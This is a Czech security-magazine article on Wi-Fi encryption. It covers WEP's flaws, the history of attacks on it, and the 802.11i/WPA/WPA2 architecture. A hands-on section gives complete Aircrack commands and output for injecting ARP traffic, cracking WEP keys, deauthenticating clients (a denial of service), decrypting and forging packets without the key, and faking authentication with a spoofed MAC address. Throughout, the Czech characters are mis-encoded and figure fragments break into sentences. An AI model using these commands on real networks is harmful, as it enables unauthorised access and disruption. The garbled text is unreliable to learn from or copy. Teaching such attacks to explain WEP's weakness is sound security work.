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T®ma ļisla

I kdyģ jsou v zaŚ²zen²ch Wi-Fi aktivov§na 
bezpeļnostn² opatŚen², obvykle se pou-
ģ²v§ slabĨ ġifrovac² protokol, napŚ²klad 

WEP. V tomto ļl§nku prozkoum§me slab§ 
m²sta protokolu WEP a zjist²me, jak snadn® 
je protokol nabourat. Politov§n²hodn§ nedo-
stateļnost protokolu WEP zvĨrazŔuje potŚe-
bu nov® bezpeļnostn² architektury ve formŊ 
standardu 802.1i, takģe se tak® pod²v§me 
na implementace nov®ho standardu WPA 
a WPA2 spoleļnŊ s jejich prvn²mi menġ²mi 
zranitelnostmi a na jejich integraci do operaļ-
n²ch syst®mŢ.

Odpoļ²vej v pokoji WEP
WEP (Wired Equivalent Privacy) byl vĨchoz²m 
ġifrovac²m protokolem, jenģ byl poprv® uveden 
v roce 1999 ve standardu IEEE 802.11. Proto-
kol je zaloģen na principu ġifrovac²ho algoritmu 
RC4 s tajnĨm kl²ļem o velikosti 40 nebo 104 
bitŢ kombinovanĨm s 24bitovĨch inicialiaļn²m 
vektorem (IV) pro ġifrov§n² textov® zpr§vy M 
a jej²ho kontroln²ho souļtu ï ICV (Integrity 
Check Value). Ġifrovan§ zpr§va C byla proto 
urļena pomoc² n§sleduj²c²ho vzorce:

C = [ M || ICV(M) ] + [ RC4(K || IV) ]

kde || pŚedstavuje oper§tor zŚetŊzen² a + ope-
r§tor XOR. Kl²ļem k bezpeļnosti WEP je sa-
mozŚejmŊ inicializaļn² vektor, takģe k udrģen² 
pŚimŊŚen® ¼rovnŊ zabezpeļen² a zmenġen² 
moģnosti odhalen² by mŊl bĨt IV zvŊtġen pro 
kaģdĨ paket tak, aby se n§sledn® pakety ġifro-
valy odliġnĨmi kl²ļi. IV se bohuģel pro bezpeļ-
nost protokolu WEP pŚen§ġ² jako neġifrovanĨ 
text a standard 802.11 nenaŚizuje zvyġov§n² 
IV, ļ²mģ ponech§v§ toto bezpeļnostn² opatŚen² 
na volbŊ jednotlivĨch implementac²ch bezdr§-
tovĨch termin§lŢ (pŚ²stupovĨch bodech nebo 
bezdr§tovĨch kart§ch).

Bezpeļnost Wi-Fi ï WEP, 
WPA a WPA2

Guillaume Lehembre

stupeŔ obt²ģnosti

Wi-Fi (Wireless Fidelity) je jednou z hlavn²ch bezdr§tovĨch 
technologi² souļasnosti. Podpora Wi-Fi se integruje do st§le v²ce 
a v²ce zaŚ²zen²: notebookŢ, PDA, mobiln²ch telefonŢ. Vġichni vġak 
pŚ²liġ ļasto nech§vaj² jeden aspekt konýgurace bez povġimnut² 
a t²m je bezpeļnost. Pod²vejme se bl²ģe na ¼roveŔ bezpeļnosti 
ġifrovac²ch metod uģ²vanĨch v modern²ch implementac²ch Wi-Fi.

Z tohoto ļl§nku se nauļ²te...
Å  slab§ m²sta ġifrov§n² WEP,
Å  glob§ln² shrnut² standardu 802.11i a jeho ko-

merļn²ch implementac²: WPA a WPA2,
Å  z§klady standardu 802.1x,
Å  potenci§ln² slab§ m²sta WPA a WPA2.

MŊl byste vŊdŊt...
Å  z§klady TCP/IP a protokolŢ Wi-FI,
Å  mŊli byste m²t z§kladn² znalosti o ġifrov§n².
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Kr§tkĨ pohled do historie 
protokolu WEP
Protokol WEP nevytvoŚily odborn²ci 
na bezpeļnost nebo kryptograýi, 
takģe rychle prok§zal svou zrani-
telnost vŢļi probl®mŢm RC4, kter® 
o ļtyŚi roky dŚ²ve popsal David Wagner. 
V roce 2001 vydali Scott Fluhrer, Itsik 
Mantin a Adi Shamir (zkr§cenŊ FMS) 
jejich slavnou publikaci o WEP, v n²ģ 
jsou pŚedstaveny dvŊ zraniteln§ m²sta 
v ġifrovac²m algoritmu RC4: slab® m²s-
ta invariance a zn§m® ¼toky IV. Oba 
¼toky se spol®haj² na skuteļnost, ģe 
u urļitĨch hodnot kl²ļŢ je moģn®, aby 
u bity v poļ§teļn²ch bajtech keystre-
amu (proudu kl²ļŢ) z§visely pouze 
na nŊkolika bitech ġifrovac²ho kl²ļe 
(aļkoli bŊģnŊ je asi pades§tiprocentn² 
pravdŊpodobnost, ģe kaģdĨ proud kl²-
ļŢ bude odliġnĨ od pŚedchoz²ho prou-
du). Jelikoģ ġifrovac² kl²ļ se sestav² 
zŚetŊzov§n²m tajn®ho kl²ļe s IV, urļit® 
hodnoty IV poskytuj² slab® kl²ļe.

Zranitelnosti byly zneuģity tako-
vĨmi bezpeļnostn²mi n§stroji, jako je 
AirSnort, kterĨ umoģŔuje obnovit kl²-
ļe WEP analyzov§n²m dostateļn®ho 
mnoģstv² s²Šov®ho provozu. I kdyģ by 
tento typ ¼toku mohl bĨt v r§mci ro-
zumn®ho ļasov®ho r§mce ¼spŊġnŊ 
proveden na velmi vyt²ģen® s²ti, bylo 
by potŚeba pomŊrnŊ hodnŊ ļasu na 
zpracov§n² dat. David Hulton (h1kari) 
vymyslel optimalizovanou verzi ¼to-
kŢ, kter§ bere v ¼vahu nejenom prv-
n² bajt vĨstupu Rc4 (jako v metodŊ 
FMS), ale tak® n§sleduj²c² bajty. T²m 
se sn²ģilo mnoģstv² dat, kter® jsou 
k analĨz§m potŚeba.

řadou slabĨch m²st tak® trp² f§ze 
kontroly integrity a to kvŢli algoritmu 
CRC32, kterĨ se pro tuto ¼lohu pou-
ģ²v§. Algoritmus CRC32 bŊģnŊ slouģ² 
pro detekci chyb, avġak nikdy nebyl 
povaģov§n za kryptograýcky bezpeļ-
nĨ a to v dŢsledku sv® line§rnosti, jak 
uvedli v roce 2001 Nikita Borisov, Ian 
Goldberg a David Wagner.

Pot® bylo pŚipuġtŊno, ģe protokol 
WEP poskytuje pŚijatelnou ¼roveŔ bez-
peļnosti pouze pro dom§c² uģivatele 
a m®nŊ dŢleģit® aplikace. S odhalen²m 
¼tokŢ KoreK v roce 2004 (zobecnŊn® 
¼toky FMS zahrnuj²c² optimalizace od 
h1kari) a invertn²ho induktn²ho ¼toku 
Arbaugh, jenģ dovoluje deġifrovat libo-

voln® pakety bez znalosti kl²ļe pomoc² 
injektce paketŢ, vġak i tuto opatrnou 
vĨhradu rozfoukal v²tr. Tyto ¼toky 
implementuj² n§stroje k nabour§v§n² 
syst®mŢ jako Aircrack od Christophe 
Devine nebo WepLab od Jos® Ignacio 
S§nchez, kter® jsou schopny obnovit 
128bitovĨ kl²ļ WEP za m®nŊ neģ 
10 minut (nebo nepatrnŊ delġ² dobu 
v z§vislosti na konkr®tn²m pŚ²stupov®m 
bodu a bezdr§tov® kartŊ).

PŚid§n²m injekce paketŢ se 
znaļnŊ zlepġila doba nabour§v§n² 
WEP. Uģ nebyly tŚeba miliony ale 
pouze tis²ce paketŢ s dostateļnĨm 
mnoģstv²m jedineļnĨch IV ï kolem 
150 000 pro 64bitovĨ kl²ļ WEP a 500 
000 pro 128bitovĨ kl²ļ. D²ky injekci 
paketŢ bylo sesb²r§n² nezbytnĨch dat 
ot§zkou minut. V souļasn® dobŊ je 
protokol WEP deýnitivnŊ mrtev (viz 
Tabulka 1) a nemŊl by se pouģ²vat 
ani s cyklickĨm posuvem kl²ļŢ.

Å  Trhliny v bezpeļnosti protokolu 
WEP lze shrnout n§sledovnŊ:

Å  Slab§ m²sta algoritmu RC4 
v r§mci protokolu WEB kvŢli kon-
strukci kl²ļe,

Å  IV jsou pŚ²liġ kr§tk® (24 bitŢ ï pro 
pades§tiprocentn² moģnost kolize 
je tŚeba m®nŊ neģ 5000 paketŢ) 
a je dovoleno opŊtovn® pouģit² IV 
(ģ§dn§ ochrana proti opakov§n² 
zpr§vy),

Å  Neexistuje poŚ§dn§ kontrola inte-
grity (algoritmus CRC32 slouģ² k 
detekci chyb a kvŢli sv® line§rnosti 
nen² kryptograýcky bezpeļnĨ),

Å  Nem§ vestavŊnou metodu pro 
aktualizace kl²ļŢ.

Nabour§n² kl²ļe WEP pomoc² 
n§stroje Aircrack
Praktick® nabour§n² protokolu WEP 
lze jednoduġe zn§zornit pomoc² 
n§strojŢ jako napŚ²klad Aircrack (vy-

Obr§zek 1. Ġifrovac² protokol WEP

Tabulka 1. ĻasovĨ pŚehled z§niku WEP
Datum Popis
Z§Ś² 1995 Potenci§ln² zranitelnost RC4 (Wagner)
ř²jen 2000 Prvn² publikace na t®ma zranitelnosti protokolu WEP: Unsafe 

at any key size; An analysis of the WEP encapsulation (Wal-
ker)

KvŊten 2001 Induktivn² vybranĨ ¼tok proti WEP/WEP2 (Arbaugh)
Ļervenec 
2001

CRC ¼tok bit þipping ï Intercepting Mobile Communicati-
ons: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)

Srpen 2001 Đtoky FMS ï Weaknesses in the Key Scheduling Algorithm 
of RC4 (Fluhrer, Mantin, Shamir)

Srpen 2001 Vyd§n² n§stroje AirSnort
Đnor 2002 Optimalizovan® ¼toky FMS od h1kari
Srpen 2004 Đtoky KoreK (jedineļn® IV) ï vyd§n² chopchop a chopper
Ļervenec/
Srpen 2004

Vyd§n² n§strojŢ Aircrack (Devine) a WepLab (Sanchez ) 
implementuj²c² ¼toky KoreK.
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tvoŚenĨ francouzskĨm vĨzkumn²kem 
bezpeļnosti Christophem Devinem). 
Aircrack obsahuje tŚi hlavn² utility pro 
tŚi f§ze ¼toku, jejichģ proveden² je 
nezbytn® k obnoven² kl²ļe:

Å  airodump: bezdr§tovĨ sniffovac² 
n§stroj, kterĨ slouģ² k odhalen² 
s²t² WEP,

Å  aireplay: injekļn² n§stroj pro zvĨ-
ġen² s²Šov®ho provozu,

Å  aircrack: n§stroj na crackov§n² 
kl²ļŢ WEP vyuģ²vaj²c² sesb²ran® 
jedineļn® IV.

V souļasnosti aireplay podporuje pou-
ze injekce na urļitĨch bezdr§tovĨch 
chipsetech a podpora injekc² v moni-
torovac²m reģimu vyģaduje nejnovŊjġ² 
z§platy ovladaļŢ. Monitorovac² reģim 
odpov²d§ sm²ġen®mu reģimu v klasic-
kĨch s²t²ch, kterĨ zamezuje zam²tnut² 
paketŢ, kter® nejsou urļeny pro mo-
nitorovac²ho hostitele (coģ se obvykle 
provede na fyzick® vrstvŊ z§sobn²ku 
modelu OSI) a tud²ģ umoģŔuje zachy-
cen² vġech paketŢ. Se z§platovanĨmi 
ovladaļi se k soubŊģn®mu zachycen² 
a injekci s²Šov®ho provozu vyģaduje 
pouze jedna bezdr§tov§ karta.

Hlavn²m c²lem ¼toku je vygene-
rovat provoz za ¼ļelem zachycen² 
jedineļnĨch IV pouģ²vanĨch mezi 
opr§vnŊnĨm klientem a pŚ²stupovĨm 
bodem. NŊkter§ ġifrovan§ data jsou 
jednoduġe rozpoznateln§, protoģe ma-
j² pevnou d®lku, pevnou adresu urļen² 
atd. To je pŚ²pad paketŢ poģadavku 
ARP (viz Rameļek Poģadavek ARP), 
kter® se zas²laj² na vys²lac² adresu 
(FF:FF:FF:FF:FF:FF) a maj² pevnou 

d®lku 68 oktetŢ. Pro generov§n²ch 
novĨch ARP odezev od legitimn²ho 
hostitele lze poģadavky ARP opakovat 
(replay), ļ²mģ se stejn® bezdr§tov® 
zpr§vy ġifruj² pomoc² novĨch IV.

V n§sleduj²c²ch pŚ²kladech je 00:
13:10:1F:9A:72 MAC adresa pŚ²stu-
pov®ho bodu (BSSID) na kan§lu 1 
s identýk§torem SSID hakin9demo 
a 00:09:5B:EB:C5:2B je MAC ad-
resa bezdr§tov®ho klienta (kterĨ 
v z§vislosti na dan®m pŚ²padu pou-
ģ²v§ protokol WEP nebo WPA-PSK). 
K prov§dŊn² sniffovac²ch pŚ²kazŢ je 
tŚeba m²t opr§vnŊn² uģivatele root.

Nejprve je nutn® aktivovat na 
bezdr§tov® kartŊ (v naġem pŚ²padŊ 
jde o model zaloģenĨ na Atheros) 
monitorovac² reģimu, abychom mohli 
z²skat veġkerĨ provoz (viz VĨpis 1). 
V dalġ²m kroku je tŚeba skenov§n²ch 
vġech ļtrn§cti kan§lŢ, kter® mohou 
s²tŊ Wi-Fi pouģ²vat, odhalit sousedn² 
s²tŊ a jejich klienty (viz VĨpis 2).

VĨsledek uvedenĨ na VĨpisu 
2 lze interpretovat n§sledovnŊ: 
s touto bezdr§tovou s²ti je asociov§n 
a autentizov§n pŚ²stupovĨ bod s BS-
SID 00:13:10:1F:9A:72 vyuģ²vaj²c² 
ġifrov§n² protokolu WEP na kan§lu 1 
s identiýk§torem SSID hakin9demo 
a klient identiýkovanĨ pomoc² MAC 
00:0C:F1:19:77:5C.

Po nalezen² c²lov® s²tŊ by se 
mŊlo zah§jit zachyt§v§n² na spr§v-
n®m kan§lu, abychom pŚi skenov§n² 
jinĨch kan§lŢ nepŚiġli o nŊjak® pake-
ty. N§sleduj²c² pŚ²kaz vytvoŚ² tentĨģ 
vĨstup jako pŚedchoz² pŚ²kaz:

# airodump ath0 wep-crk 1

DŚ²ve sesb²ran® informace mŢģete 
pomoc² n§stroje aireplay d§le pouģ²t 
k injekci s²Šov®ho provozu. Injekce 
zaļne, kdyģ se na bezdr§tov® s²ti 
objev² zachycenĨ poģadavek ARP 
asociovanĨ k c²lov®mu BSSID:

# aireplay -3 \

  -b 00:13:10:1F:9A:72 \

  -h 00:0C:F1:19:77:5C \

  -x 600 ath0

(...)

Read 980 packets

  (got 16 ARP requests),

  sent 570 packets...

Nakonec se n§stroj aircrack pouģ²v§ 
k obnoven² kl²ļe WEP. Tento posled-
n² krok je moģn® d²ky souboru pcap 
spustit, zat²mco n§stroj airodump 
st§le zachyt§v§ data (vĨsledky viz 
Obr§zek 2):

# aircrack -x -0 wep-crk.cap

Dalġ² typy ¼tokŢ 
Aircrack
Aircrack rovnŊģ umoģŔuje prov®st 
jin® zaj²mav® typy ¼tokŢ. Na nŊkter® 
z nich se nyn² pod²v§me.

Đtok 2: Deautentizace
Tento ¼tok lze pouģ²vat k obnoven² 
skryt®ho SSID (tedy takov®ho SSID, 
kter® se nepŚen§ġ²), zachycen² 4-f§-
zov®ho handshake WPA nebo vynu-
cen² odm²tnut² sluģby DoS (v²ce se 

Poģadavek ARP 
ARP (Address Resolution Protocol 
ï RFC826) slouģ² k pŚekladu 32bitov® 
IP adresy na 48bitovou ethernetovou 
adresu (s²tŊ Wi-FI rovnŊģ vyuģ²vaj² 
protokol Ethernet). Jednoduġe Śeļeno, 
kdyģ poļ²taļ A (192.168.1.1) chce ko-
munikovat s poļ²taļem B (192.168.1.2), 
zn§m§ IP adresa se mus² za pomoci 
protokolu ARP pŚeloģit na adresu MAC. 
Proto poļ²taļ A zaġle vys²lac² zpr§vu 
obsahuj² IP adresu poļ²taļe B (Who 
has 192.168.1.2? Tell 192.168.1.1). 
C²lovĨ poļ²taļ rozpozn§, ģe IP adresa 
v paketu odpov²d§ jeho vlastn² adrese 
a zaġle odpovŊŅ (192.168.1.2 is at 01:
23:45:67:89:0A). Odezva se vŊtġinou 
ukl§d§ do pamŊti cache.

VĨpis 1. Aktivace monitorovac²ho reģimu

# airmon.sh start ath0

Interface       Chipset         Driver

ath0            Atheros         madwiý (monitor mode enabled)

VĨpis 2. Odhalov§n² sousedn²ch s²t² a jejich klientŢ

# airodump ath0 wep-crk 0

 BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID

 00:13:10:1F:9A:72   62      305       16   1  48  WEP   hakin9demo         

 BSSID              STATION            PWR  Packets  ESSID                

 00:13:10:1F:9A:72  00:0C:F1:19:77:5C   56        1  hakin9demo
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o tom doļtete d§le v sekci o 802.11i). 
Z§mŊrem ¼toku je pŚinutit klienta 
k opŊtovn® autentizaci, coģ ve spo-
jen² s nedostateļnou autentizac² pro 
ovl§d§n² r§mcŢ (uģ²vanou k autenti-
zaci, asociaci a podobnŊ) umoģŔuje 
¼toļn²kovi spoofovat MAC adresy.

Bezdr§tovĨ klient mŢģe bĨt deau-
tentizov§n pomoc² n§sleduj²c²ho pŚ²-
kazu zpŢsobuj²c²ho prostŚednictv²m 
spooýngu BSSID deautentizaci pa-
ketŢ, kter§ se maj² odeslat z BSSID 
na klienta MAC:

# aireplay -0 5 

  -a 00:13:10:1F:9A:72 

  -c 00:0C:F1:19:77:5C 

  ath0

RovnŊģ lze prov§dŊt hromadnou deau-
tentizaci (i kdyģ nen² vģdy spolehliv§). 
Hromadn§ deautentizace spoļ²v§ 
v tom, ģe ¼toļn²k nepŚetrģitŊ spoofuje 
BSSID a opakovanŊ pos²l§ na vys²lac² 
adresu deautentizaļn² paket: 

# aireplay -0 0

  -a 00:13:10:1F:9A:72

  ath0

Đtok 3: Deġifrov§n² 
libovolnĨch datovĨch paketŢ 
WEP bez znalosti kl²ļe
Tento ¼tok je zaloģen na n§stroji 
s n§zvem chopchop, kterĨ prokazuje 
princip KoreK. PŚi ¼toku je moģn® de-
ġifrovat pakety WEP bez znalosti kl²ļe. 
Kontrola integrity implementovan§ 
v protokolu WEP umoģŔuje ¼toļn²kovi 
upravit jak ġifrovanĨ paket, tak jeho od-
pov²daj²c² algoritmus CRC. Mimoto po-
uģit² oper§toru XOR v protokolu WEP 
znamen§, ģe vybranĨ bajt v ġifrovan® 
zpr§vŊ vģdy z§vis² na tomt®ģ bajtu 
neġifrovan® zpr§vy. Pokud se tedy 
posledn² bajt ġifrovan® zpr§vy oddŊl², 
zpr§va se sice poruġ², ale rovnŊģ t²m 
lze uhodnout hodnotu odpov²daj²c²ho 
neġifrovan®ho bajtu a podle toho ġif-
rovanou zpr§vu opravit.

Je-li pot® opravenĨ paket znovu 
zaveden na s²Š, pŚ²stupovĨ bod ho od-
stran², kdyģ se domn²v§, ģe byl chybnĨ 
(v tomto pŚ²padŊ je tŚeba prov®st novĨ 
odhad), ale spr§vnĨ odhad bude jako 
obvykle pŚenesen. Opakov§n²m ¼toku 
pro vġechny bajty zpr§vy lze deġifro-

vat paket WEP a obnovit proud kl²ļŢ. 
Pamatujete si, ģe zvyġov§n² IV nen² 
v protokolu WEP povinn®, takģe tento 
proud kl²ļŢ je moģn® znovu pouģ²t ke 
spoofov§n² n§slednĨch paketŢ (opŊ-
tovnĨm pouģit²m stejn®ho IV).

Bezdr§tov§ karta mus² bĨt 
pŚepnuta na monitorovac² reģim 
na spr§vn®m kan§lu (popis, jak to 
udŊlat, viz pŚedchoz² pŚ²klad). Đtok 
mus² bĨt spuġtŊn proti legitimn²mu 
klientovi (v naġem pŚ²padŊ se st§le 
jedn§ o 00:0C:F1:19:77:5C). N§stroj 
airplay vyzve ¼toļn²ka, aby pŚijal 
kaģdĨ ġifrovanĨ paket (viz VĨpis 3). 
VytvoŚ² se dva soubory pcap: jeden 
soubor pro neġifrovanĨ paket a druhĨ 
soubor pro jeho odpov²daj²c² proud 
kl²ļe. VĨslednĨ soubor lze pŚev®st 
do ļiteln®ho tvaru pomoc² vhodn®-
ho ļtec²ho n§stroje (my pouģ²v§me 
cpdump) ï pŚ²klad vĨmŊny ping mezi 
poļ²taļi viz VĨpis 4.

Po zachycen² proudu kl²ļŢ je 
moģn® zfalġoval libovolnĨ paket. 
D§le uv§d²me spoofovanĨ poģa-
davek ARP zaslanĨ poļ²taļem 
192.168.2.123 (00:0C:F1:19:77:5C) 
na 192.168.2.103:

# arpforge \

  replay_dec-0916-114019.xor \

  1 \

  00:13:10:1F:9A:72 \

  00:0C:F1:19:77:5C \

  192.168.2.123 \

  192.168.2.103 \

  forge-arp.cap

Nakonec se pouģije n§stroj aireplay 
k opakov§n² tohoto paketu (viz VĨ-
pis 5).

Tato metoda je m®nŊ automa-
tizovan® neģ vlastn² spoofov§n² 
poģadavku ARP (volba -1), ale je 
ġk§lovatelnŊjġ² ï ¼toļn²k mŢģe po-
moc² odhalen®ho proudu kl²ļŢ fal-
ġovat libovoln® pakety, kter® nejsou 
delġ² neģ proud kl²ļŢ (jinak se mus² 
proud kl²ļŢ rozġ²Śit).

Đtok 4: Faleġn§ autentizace
DŚ²ve popsan§ metoda crackov§n² 
kl²ļe WEP (¼tok 1 a 3) vyģaduje le-
gitimn²ho klienta (skuteļn®ho nebo 
virtu§ln²ho, aļkoli lepġ² je skuteļnĨ 
klient) asociovan®ho k pŚ²stupov®mu 
bodu pro zajiġtŊn², ģe pŚ²stupovĨ bod 
nevyŚad² pakety kvŢli neasociovan® 
adrese urļen².

Pouģ²v§-li se otevŚen§ autenti-
zace, lze autentizovat a asociovat 
k pŚ²stupov®mu bodu jak®hokoli 
klienta. PŚ²stupovĨ bod vġak vyŚad² 
jak®koli pakety, kter® nejsou ġifrov§-
ny spr§vnĨm kl²ļem WEP. V pŚ²kladu 
na VĨpisu 6 se ke zfalġov§n² auten-
tizaļn²ho a asociaļn²ho poģadavku 
na SSID hakin9demo (BSSID: 00:
13:10:1F:9A:72) pomoc² spoofovan® 
adresy MAC 0:1:2:3:4:5 pouģ²v§ n§-
stroj Aireplay.

NŊkter® pŚ²stupov® body vyģadu-
j², aby se klienti kaģdĨch 30 sekund 
znovu asociovali. Takov® chov§n² 
lze v aireplay napodobit nahrazen²m 
druh® volby (0) za 30.

Obr§zek 2. VĨsledky n§stroje Aicrack po nŊkolika minut§ch
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802.11i
V lednu roku 2001 byla v institutu 
IEEE sestavena ¼kolov§ skupina 
i za ¼ļelem zlepġen² autentizace dat 
standardu 802.11 a bezpeļnosti ġifro-
v§n². Jako reakci na korpor§tn² z§jem 
o bezdr§tovou bezpeļnost vydala Wi-
-Fi Alliance (asociace pro propagaci 
a certiýkaci Wi-Fi) v dubnu roku 2003 
doporuļen². RovnŊģ si vġak byly vŊdo-
mi, ģe z§kazn²ci by si nebyli ochotni 
vymŊnit sv® st§vaj²c² zaŚ²zen².

V ļervnu 2004 bylo schv§leno ko-
neļn® vyd§n² standardu 802.11i, kterĨ 
dostal od asociace Wi-Fi Alliance ko-
merļn² n§zev WPA2. Standard IEEE 
802.11i pŚinesl takov® z§kladn² zmŊny 
jako oddŊlovan² autentizace uģivatele 
od vynucov§n² integrity a soukrom² 
zpr§vy, tud²ģ poskytuje stabiln² a ġk§-
lovatelnou bezpeļnostn² architekturu 
vhodnou nejen pro dom§c² s²tŊ ale 
i velk® podnikov® syst®my. Nov§ archi-
tektura pro bezdr§tov® s²tŊ nese ozna-
ļen² RSN (Robust Security Network) 
a pouģ²v§ autentizaci 802.1X, silnou 
distribuci kl²ļŢ a nov® mechanismy 
k zajiġtŊn² integrity a soukrom².

I kdyģ architektura RSN je sloģi-
tŊjġ², nab²z² bezpeļn§ a ġk§lovateln§ 
Śeġen² pro bezdr§tovou komunikaci. 
Ve vŊtġinŊ pŚ²padech akceptuje RSN 
pouze zaŚ²zen² s podporou RSN, 
nicm®nŊ IEEE 802.11i deýnuje tak® 
architekturu TSN (Transitional Securi-
ty Network), do kter® lze zahrnout jak 
syst®my RSN, tak syst®my WEP, coģ 
umoģn² uģivatelŢm vļas aktualizovat 
sv® zaŚ²zen² Pokud procedura auten-
tizace nebo asociace pouģit§ mezi 
stanice vyuģ²v§ 4-f§zovĨ handshake, 
asociace se oznaļuje jako RSNA (Ro-
bust Security Network Association).

Sestaven² bezpeļn®ho komuni-
kaļn²ho kontextu se skl§d§ ze ļtyŚ 
f§zi (viz Obr§zek 4):

Å  odsouhlasen² bezpeļnostn²ch 
z§sad,

Å  autentizace 802.1X,
Å  odvozov§n² a distribuce kl²ļe
Å  utajen² a integrita dat RSNA

Fr§ze 1: Odsouhlasen² 
bezpeļnostn²ch z§sad
Prvn² f§ze vyģaduje, aby se komuniku-
j²c² strany dohodli na bezpeļnostn²ch 

VĨpis 3. Deġifrov§n² paketŢ WEP bez znalosti kl²ļe

# aireplay -4 -h 00:0C:F1:19:77:5C ath0

Read 413 packets...

 Size: 124, FromDS: 0, ToDS: 1 (WEP)

      BSSID  =  00:13:10:1F:9A:72

  Dest. MAC  =  00:13:10:1F:9A:70

 Source MAC  =  00:0C:F1:19:77:5C

 0x0000:  0841 d500 0013 101f 9a72 000c f119 775c  .A.......r....w\

 0x0010:  0013 101f 9a70 c040 c3ec e100 b1e1 062c  .....p.@.......,

 0x0020:  5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76  \.'...h.#..GZ.[v

 0x0030:  0078 91c8 adfe bf30 d98c 1668 56bf 536c  .x.....0...hV.Sl

 0x0040:  7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4  pF_..K....j.4wt.

 0x0050:  fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6  .......5#.U...[.

 0x0060:  862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1  .+>.[...";.D7...

 0x0070:  3b88 c5b1 0843 0289 1bff 5160            ;....C....Q`

Use this packet ? y

Saving chosen packet in replay_src-0916-113713.cap

Offset  123 ( 0% done) | xor = 07 | pt = 67 |  373 frames written in  1120ms

Offset  122 ( 1% done) | xor = 7D | pt = 2C |  671 frames written in  2013ms

(...)

Offset   35 (97% done) | xor = 83 | pt = 00 |  691 frames written in  2072ms

Offset   34 (98% done) | xor = 2F | pt = 08 |  692 frames written in  2076ms

Saving plaintext in replay_dec-0916-114019.cap

Saving keystream in replay_dec-0916-114019.xor

Completed in 183s (0.47 bytes/s)

VĨpis 4. Ļten² souboru pcap z ¼toku

# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap

reading from ýle replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)

11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:f1:19:77:5c 

DA:00:13:10:1f:9a:70

LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),

ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:

ICMP echo request, id 23046, seq 1, length 64

VĨpis 5. Opakov§n² zfalġovan®ho paketu

# aireplay -2 -r forge-arp.cap ath0

 Size: 68, FromDS: 0, ToDS: 1 (WEP)

      BSSID  =  00:13:10:1F:9A:72

  Dest. MAC  =  FF:FF:FF:FF:FF:FF

 Source MAC  =  00:0C:F1:19:77:5C

 0x0000:  0841 0201 0013 101f 9a72 000c f119 775c  .A.......r....w\

 0x0010:  ffff ffff ffff 8001 c3ec e100 b1e1 062c  ...............,

 0x0020:  5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c  \.'.I.`.%.KF....

 0x0030:  b78c 5307 6f2d bdce d18c 8d33 cc11 510a  ..S.o-.....3..Q.

 0x0040:  49b7 52da                                I.R.

Use this packet ? y

Saving chosen packet in replay_src-0916-124231.cap

You must also start airodump to capture replies.

Sent 1029 packets...

VĨpis 6. Falġov§n² autentizace

# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0

18:30:00  Sending Authentication Request

18:30:00  Authentication successful

18:30:00  Sending Association Request

18:30:00  Association successful
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z§sad§ch, kter® budou pouģ²vat. 
Bezpeļnostn² z§sady podporovan® 
pŚ²stupovĨm bodem jsou ozn§meny 
ve zpr§vŊ Beacon nebo Probe Re-
spond (n§sleduj²c² Probe Request od 
klienta). Pot® n§sleduje standardn² 
otevŚen§ autentizace (stejnŊ jako 
v s²t²ch TSN, kde je autentizace vģdy 
¼spŊġn§). Odezva klienta je obsaģena 
ve zpr§vŊ Association Request, jej²ģ 
platnost je ovŊŚenŊ pomoc² Associa-
tion Response z pŚ²stupov®ho bodu. 
Informace o bezpeļnostn² z§sadŊ se 
zaġlou v poli RSN IE (Information Ele-
ment) a popisuj²: 

Å  podporovan® autentizaļn² metody 
(802.1X, PSK (Pre-Shared Key)),

Å  bezpeļnostn² protokoly pro pro-
voz d²lļ²ho vys²l§n² ï unicast 
(CCMP, TKIP a podobnŊ) ï sada 
ġifer po dvojic²ch

Å  bezpeļnostn² protokoly pro pro-
voz skupinov®ho vys²l§n² ï mul-
ticast (CCMP, TKIP a podobnŊ) 
ï skupinov§ sada ġifer,

Å  podporu pŚed-autentizace, kter§ 
v r§mci hladk®ho pŚed§n² umoģ-
Ŕuje uģivatelŢm prov®st pŚed-
-autentizaci pŚed pŚepnut²m na 
pŚ²stupovĨ bod stejn® s²tŊ.

Prvn² f§ze je zn§zornŊna na Obr§z-
ku 5.

F§ze 2: autentizace 802.1X 
Druhou f§z² je autentizacace 802.1X 
zaloģen§ na protokolu EAP a dŚ²ve 
odsouhlasen® speciýck® autentizaļn² 
metodŊ: EAP/TLS s certiýk§ty klienta 
a serveru (vyģaduj²c² infrastrukturu ve-
Śejn®ho kl²ļe), EAP/TTLS nebo PEAP 
pro hybridn² autentizaci (s certiýk§ty 
vyģadovanĨmi pouze pro servery) 
a tak d§le. Autentizace 802.1X se 
zah§j², kdyģ si pŚ²stupovĨ bod vyģ§-
d§ ¼daje o identitŊ klienta s odezvou 
klienta obsahuj²c² upŚednostŔovanou 
autentizaļn² metodu. Pot® probŊhne 
vĨmŊna vyhovuj²c²ch zpr§v mezi 
klientem a autentizaļn²m serverem, 
aby se vygeneroval spoleļnĨ master 
kl²ļ (MK). Na konci procedury se 
z autentizaļn²ho serveru na pŚ²stupo-
vĨ bod zaġle zpr§va Radius Accept 
obsahuj²c² MK a koneļnou zpr§vu 
EAP Success pro klienta. Tato druh§ 
f§ze je zn§zornŊna na Obr§zku 6.

F§ze 3: Hierarchie 
kl²ļe a distribuce
Bezpeļnost pŚipojen² znaļnŊ z§vis² 
na bezpeļnosti kl²ļŢ. V RSN m§ 
kaģdĨ kl²ļ omezenou ģivotnost a cel-
kov§ bezpeļnost se zajiġŠuje pomoc² 

IEEE 802.1X a EAP
Autentizaļn² protokol IEEE 802.1X (rovnŊģ zn§mĨ jako Port-
-Based Network Access Control) pŚedstavuje r§mec vyvinutĨ, 
pŢvodnŊ urļenĨ pro klasick® s²tŊ, kterĨ poskytuje mechanismy 
pro distribuci kl²ļŢ, autentizaci a autorizaci. D§le implementuje 
Ś²zen² pŚ²stupu pro uģivatele, kteŚ² se pŚipojuj² na s²Š. Architekturu 
